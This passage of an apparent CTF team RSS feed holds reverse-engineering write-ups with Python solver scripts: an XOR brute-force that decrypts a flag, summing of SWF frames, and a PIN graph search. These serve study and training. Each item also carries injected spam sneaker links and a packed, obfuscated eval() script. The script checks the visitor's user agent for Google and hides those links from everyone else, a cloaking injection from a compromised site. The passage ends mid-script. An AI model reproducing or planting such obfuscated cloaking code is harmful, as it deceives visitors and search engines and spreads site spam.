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&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&lt;p&gt;And my decryption code (IDA command line with idapython used):&lt;/p&gt;&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;Python&amp;gt;#get bytes
a = []
for i in range(37):
	a.append(Byte(0x0401F6D+6+i*7))

#brute single byte xor
import string
for i in range(256):
	t = i
	s = &#039;&#039;
	for el in a:
		t =((t+0x54)^0x84)&amp;amp;0xff
		c = chr(el^t)
		if c not in string.printable:
			break
		s += c
	if len(s)==37 and &#039;ASIS&#039; in s:
		print(s)
Python&amp;gt;
ASIS_cc605aeae2c9a62fa11ba8ae7fd1301e&lt;/pre&gt;&lt;p&gt;Too easy! So, the flag is &lt;strong&gt;ASIS_cc605aeae2c9a62fa11ba8ae7fd1301e&lt;/strong&gt;&lt;/p&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.urlfreeze.com/&quot;&gt;affiliate tracking url&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;http://www.sb-roscoff.fr/en/bdehidshop/items/best-selling-air-jordan-1-mid-light-smoke-grey-for-sale-554724-092/&quot;&gt;Best Selling Air Jordan 1 Mid Light Smoke Grey For Sale 554724-092&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Tue, 14 Oct 2014 10:43:06 +0000</pubDate>
 <dc:creator>Dil4rd</dc:creator>
 <guid isPermaLink="false">82 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/82#comments</comments>
</item>
<item>
 <title>yayaya</title>
 <link>https://ctfcrew.org/writeup/60</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/reverse&quot;&gt;reverse&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/22&quot;&gt;SecuInside CTF Quals 2014&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;After decompilation of given SWF file we have found that the code can be divided in two parts. First one is responsible for moving sections of ELF file from SWF&#039;s resources to virtual memory. The second one draws black font picture and small colored blocks. The most intresting thing is that position and size of these small colored blocks are defined from ELF binary.&lt;/p&gt;&lt;p&gt;So we get SWF using Crossbridge. So the swf generating the pictures every n milliseconds, but n is always different, and we just need to sum the frames, to get flag&lt;/p&gt;&lt;p&gt;I tried to find programs like swf2png etc. But all of them were trying to get resources, but not to capture the buidling frames.&lt;/p&gt;&lt;p&gt;After that I tried to capture video using the ffmpeg. But after a lot of failed attemps, I just download the programm that makes screen every N millisecons. I ran this programm with flash file and made 4500 of screens. After that I just summed it using PythonImageLibrary and numpy&lt;/p&gt;&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;from PIL import Image
from PIL.Image import fromarray
from numpy import asarray
from os import listdir

images = []

dirname = &quot;screens&quot;
for i, f in enumerate(listdir(dirname)):
    print i
    image = Image.open(&quot;%s/%s&quot; % (dirname, f))
    if i == 0:
        dif = asarray(image)
    elif i % 100 == 0:
        fromarray(dif).save(&quot;res/file%s.png&quot; % i)
    else:
        dif = dif + asarray(image)
fromarray(dif).save(&quot;file6.png&quot;)

&lt;/pre&gt;&lt;p&gt;This script has generated the flag. I think that we get not all frames but it was enough to get flag&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/file7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&lt;p&gt;P.S. The most funny part was, that one of my teammates ran swf debuger with that file, and forget about it. And after several hours when he switched back swf debugger app, he have seen the lag, where the frames were summed by debbugger. It was worse picture than that, but it was possible to restore flag i think.&lt;/p&gt;&lt;p&gt;Finally, the flag is:&amp;nbsp;&lt;strong&gt;GANADAHAAH&lt;/strong&gt;&lt;/p&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.jmksport.com/&quot;&gt;Asics footwear&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;https://aractidf.org/bfasshop/sneakers&quot;&gt;Sneakers&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Sun, 01 Jun 2014 18:31:59 +0000</pubDate>
 <dc:creator>briskly</dc:creator>
 <guid isPermaLink="false">60 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/60#comments</comments>
</item>
<item>
 <title>PIN (reverse 400)</title>
 <link>https://ctfcrew.org/writeup/53</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/reverse&quot;&gt;reverse&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/17&quot;&gt;RuCTF Quals 2014&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;The task was to reverse file &lt;a href=&quot;/sites/default/files/writeups/images/main.45c1ec963414c50855bcb1172dd808d2&quot;&gt;main&lt;/a&gt;. This is an executable for MS DOS.&lt;/p&gt;&lt;p&gt;Fortunately, this binary isn&#039;t packed and it&#039;s logic can be easily understand without dynamic analysis. After few minutes of analysis is becames obvius that this executable set hook for interupt int9 (keyboard handler) and for every input character makes some changes with global variable byte_178. If this variables equals 0x14 then we get success message.&lt;/p&gt;&lt;p&gt;First of all let&#039;s take a look at the begging of main function:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/pinpic1.png&quot; alt=&quot;&quot; height=&quot;469&quot; width=&quot;1004&quot;&gt;&lt;/p&gt;&lt;p&gt;There you can see that new int9 handler is function at address loc_103. New int9 handler has nothing intrestin: it takes input key code, increment pointer to input key code and set key code there. It&#039;s worth noting that new int9 handler uses it&#039;s own local buffer which I called keyboard_buffer and pointer to recently added key code in that buffer (I called it recived_cur_elem_offset).&lt;/p&gt;&lt;p&gt;After setting new int9 handler main function goes to loop at address loc_38E and leave it only when new key code has been added. Let&#039;s see what happens when new key is pressed (code of pressed key is in al registger):&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/pinpic2.png&quot; alt=&quot;&quot; height=&quot;680&quot; width=&quot;1045&quot;&gt;&lt;/p&gt;&lt;p&gt;So this binary exits when key PgDn pressed and does nothing if pressed any key except keys belong to numbers (key codes can be found there: &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/aa299374(v=vs.60).aspx&quot;&gt;http://msdn.microsoft.com/en-us/library/aa299374(v=vs.60).aspx&lt;/a&gt;). So PIN checking algorithm is the next:&lt;/p&gt;&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;arr_byte_179 = [28, 15, 44, 16, 10, 25, 48, 46, 23, 14, 3, 27, 31, 33, 40, 39, 18, 45, 34, 21, 31, 22, 39, 49, 17, 32, 45, 33, 41, 21, 4, 22, 35, 32, 21, 19, 29, 41, 49, 40, 22, 39, 18, 47, 34, 27, 19, 1, 32, 29, 30, 44, 24, 0, 38, 26, 25, 14, 37, 9, 46, 26, 14, 13, 11, 5, 37, 10, 24, 44, 44, 14, 23, 38, 16, 20, 6, 0, 8, 9, 0, 37, 48, 44, 23, 6, 46, 9, 10, 16, 14, 30, 24, 10, 13, 28, 5, 15, 48, 12, 14, 28, 0, 25, 15, 16, 48, 9, 12, 38, 23, 24, 7, 15, 26, 10, 30, 13, 12, 9, 37, 10, 23, 38, 44, 28, 13, 0, 26, 15, 9, 5, 38, 44, 24, 15, 48, 23, 37, 8, 25, 16, 30, 24, 28, 37, 10, 8, 38, 12, 46, 10, 24, 28, 48, 37, 0, 23, 13, 8, 12, 9, 48, 44, 38, 24, 8, 26, 28, 15, 39, 36, 29, 3, 34, 19, 27, 40, 47, 22, 31, 47, 40, 2, 22, 27, 21, 3, 32, 1, 21, 39, 41, 4, 3, 40, 47, 22, 31, 18, 9, 6, 48, 7, 26, 5, 13, 12, 10, 8, 27, 19, 29, 41, 49, 3, 31, 47, 40, 39, 21, 1, 32, 18, 19, 3, 27, 4, 35, 39, 16, 38, 0, 9, 13, 30, 48, 26, 44, 5, 16, 9, 37, 44, 15, 23, 14, 28, 48, 0, 6, 13, 26, 0, 12, 23, 15, 5, 14, 48, 5, 15, 16, 13, 14, 23, 46, 24, 48, 10, 31, 29, 40, 39, 35, 21, 47, 32, 22, 33, 37, 16, 8, 48, 30, 46, 23, 38, 9, 13, 47, 34, 49, 17, 32, 31, 41, 1, 18, 19, 14, 37, 10, 12, 38, 15, 48, 5, 9, 13, 4, 27, 22, 45, 2, 33, 17, 47, 35, 32, 18, 1, 49, 34, 2, 29, 27, 3, 31, 4, 22, 32, 29, 45, 34, 3, 39, 27, 21, 47, 3, 41, 35, 31, 19, 18, 40, 1, 22, 27, 22, 31, 29, 49, 21, 19, 47, 18, 40, 1, 41, 19, 29, 40, 35, 18, 22, 42, 45, 39, 44, 24, 25, 0, 46, 26, 28, 16, 9, 8, 9, 15, 13, 26, 25, 16, 6, 23, 10, 5, 3, 1, 35, 4, 17, 34, 22, 47, 45, 19, 39, 22, 29, 27, 32, 35, 41, 1, 2, 17, 21, 3, 27, 31, 33, 40, 22, 39, 34, 17, 43, 33, 32, 18, 31, 4, 41, 45, 22, 3, 4, 42, 40, 27, 47, 21, 9, 45, 1, 3, 13, 30, 23, 37, 14, 10, 12, 6, 9, 28, 3, 4, 34, 32, 31, 49, 22, 2, 19, 1, 23, 44, 13, 10, 30, 9, 0, 8, 14, 5, 33, 19, 39, 3, 35, 4, 1, 27, 31, 17, 38, 6, 46, 37, 28, 5, 25, 26, 8, 9, 41, 33, 32, 18, 21, 45, 34, 27, 19, 4]

key_format = &#039;1234567890&#039;

def to_keycodes(key_str):
	if key_str not in key_format:
		print(&quot;Invalid key format (only numbers)!&quot;)
		return None
	return key_format.index(key_str)+2

def check_key(key):
	glob_byte_178 = 0x16
	for el in key:
		glob_byte_178 = arr_byte_179[glob_byte_178*10 + to_keycodes(el) - 2]
		if glob_byte_178==0x14:
			print(&quot;Success! Your key is &#039;&quot;+key+&quot;&#039;&quot;)
			return
	print(&quot;No...&quot;)&lt;/pre&gt;&lt;p&gt;The algorithm is quite easy and the only bad news is that array at address 179 isn&#039;t a substitution and can&#039;t be easily reversed. So we have graph and should find there the way from 0x16 to 0x14. Before searching for some fast algorithm I started simples brute via next algorithm:&lt;/p&gt;&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;import sys

arr_byte_179 = [28, 15, 44, 16, 10, 25, 48, 46, 23, 14, 3, 27, 31, 33, 40, 39, 18, 45, 34, 21, 31, 22, 39, 49, 17, 32, 45, 33, 41, 21, 4, 22, 35, 32, 21, 19, 29, 41, 49, 40, 22, 39, 18, 47, 34, 27, 19, 1, 32, 29, 30, 44, 24, 0, 38, 26, 25, 14, 37, 9, 46, 26, 14, 13, 11, 5, 37, 10, 24, 44, 44, 14, 23, 38, 16, 20, 6, 0, 8, 9, 0, 37, 48, 44, 23, 6, 46, 9, 10, 16, 14, 30, 24, 10, 13, 28, 5, 15, 48, 12, 14, 28, 0, 25, 15, 16, 48, 9, 12, 38, 23, 24, 7, 15, 26, 10, 30, 13, 12, 9, 37, 10, 23, 38, 44, 28, 13, 0, 26, 15, 9, 5, 38, 44, 24, 15, 48, 23, 37, 8, 25, 16, 30, 24, 28, 37, 10, 8, 38, 12, 46, 10, 24, 28, 48, 37, 0, 23, 13, 8, 12, 9, 48, 44, 38, 24, 8, 26, 28, 15, 39, 36, 29, 3, 34, 19, 27, 40, 47, 22, 31, 47, 40, 2, 22, 27, 21, 3, 32, 1, 21, 39, 41, 4, 3, 40, 47, 22, 31, 18, 9, 6, 48, 7, 26, 5, 13, 12, 10, 8, 27, 19, 29, 41, 49, 3, 31, 47, 40, 39, 21, 1, 32, 18, 19, 3, 27, 4, 35, 39, 16, 38, 0, 9, 13, 30, 48, 26, 44, 5, 16, 9, 37, 44, 15, 23, 14, 28, 48, 0, 6, 13, 26, 0, 12, 23, 15, 5, 14, 48, 5, 15, 16, 13, 14, 23, 46, 24, 48, 10, 31, 29, 40, 39, 35, 21, 47, 32, 22, 33, 37, 16, 8, 48, 30, 46, 23, 38, 9, 13, 47, 34, 49, 17, 32, 31, 41, 1, 18, 19, 14, 37, 10, 12, 38, 15, 48, 5, 9, 13, 4, 27, 22, 45, 2, 33, 17, 47, 35, 32, 18, 1, 49, 34, 2, 29, 27, 3, 31, 4, 22, 32, 29, 45, 34, 3, 39, 27, 21, 47, 3, 41, 35, 31, 19, 18, 40, 1, 22, 27, 22, 31, 29, 49, 21, 19, 47, 18, 40, 1, 41, 19, 29, 40, 35, 18, 22, 42, 45, 39, 44, 24, 25, 0, 46, 26, 28, 16, 9, 8, 9, 15, 13, 26, 25, 16, 6, 23, 10, 5, 3, 1, 35, 4, 17, 34, 22, 47, 45, 19, 39, 22, 29, 27, 32, 35, 41, 1, 2, 17, 21, 3, 27, 31, 33, 40, 22, 39, 34, 17, 43, 33, 32, 18, 31, 4, 41, 45, 22, 3, 4, 42, 40, 27, 47, 21, 9, 45, 1, 3, 13, 30, 23, 37, 14, 10, 12, 6, 9, 28, 3, 4, 34, 32, 31, 49, 22, 2, 19, 1, 23, 44, 13, 10, 30, 9, 0, 8, 14, 5, 33, 19, 39, 3, 35, 4, 1, 27, 31, 17, 38, 6, 46, 37, 28, 5, 25, 26, 8, 9, 41, 33, 32, 18, 21, 45, 34, 27, 19, 4]
key_format = &#039;1234567890&#039;

def from_keycodes(keycode):
	if keycode&amp;gt;=2 and keycode&amp;lt;=0xB:
		return key_format[keycode-2]
	else:
		print(&quot;Invalid key format (only numbers)!&quot;)
		return None

def all_ind_of_el(arr,el):
	ind_arr =[]
	for i in range(len(arr)):
		if arr[i]==el:
			ind_arr.append(i)
	return ind_arr

def excract_prev_states(dw_val):
	res_arr = []
	ells_id = all_ind_of_el(arr_byte_179,dw_val)
	for cur_id  in ells_id:
		loc_val = cur_id + 2
		cur_keycode = (loc_val % 10)
		if cur_keycode==0 or cur_keycode==1:
			cur_keycode = cur_keycode + 10
		prev_dwVal = int((loc_val - cur_keycode)/10)
		res_arr.append([cur_keycode,prev_dwVal])
	return res_arr

MAX_DEPTH = 15
pin = &#039;&#039;
def looper(start_elem,depth):
	global pin
	depth = depth+1
	if depth&amp;gt;MAX_DEPTH:
		return False
	for tt in excract_prev_states(start_elem):
		if tt[1]==0x16 or looper(tt[1], depth)==True:
			print(str(depth)+&quot;\t:\t&quot;+str(tt[1])+&quot;\t:\t&quot;+from_keycodes(tt[0]))
			pin = pin + from_keycodes(tt[0])
			return True
	return False

looper(0x14,0)
print(&quot;You pin is &quot;+ pin)
&lt;/pre&gt;&lt;p&gt;And it has suddenly found a pin &quot;052817506537536&quot;. I&#039;ve entered it in form as flag and recived &quot;Wrong!&quot;. So I&#039;ve started to search an error in my code.. and found more &#039;valid&#039; pins: &quot;887452817506536&quot;, &quot;27452817506536&quot;. But there was no flag among them;(&lt;/p&gt;&lt;p&gt;Few minutes later organizers have published hint that the length of pin is 11 symbols. So I&#039;ve changed MAX_DEPTH to 11 and run next code:&lt;/p&gt;&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;MAX_DEPTH = 11
pin = &#039;&#039;
def looper(start_elem,depth,curpath):
	global pin
	depth = depth+1
	if depth&amp;gt;MAX_DEPTH:
		return False
	curpath = curpath + [start_elem]
	for tt in excract_prev_states(start_elem):
		if tt[1] in curpath:
			continue
		if tt[1]==0x16 or looper(tt[1], depth,curpath)==True:
			print(str(depth)+&quot;\t: &quot;+str(tt[1])+&quot;\t: &quot;+from_keycodes(tt[0]))
			pin = pin + from_keycodes(tt[0])
			return True
	return False

mypath = []
looper(0x14,0,mypath)
print(&quot;You pin is &quot;+ pin)&lt;/pre&gt;&lt;p&gt;Just in minute I&#039;ve got the flag: &lt;strong&gt;05281792536&lt;/strong&gt;.&lt;/p&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.nikesneakers.org/&quot;&gt;jordan Sneakers&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;http://www.sb-roscoff.fr/en/bdebbcmshop/category/sneakers/&quot;&gt;Sneakers&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 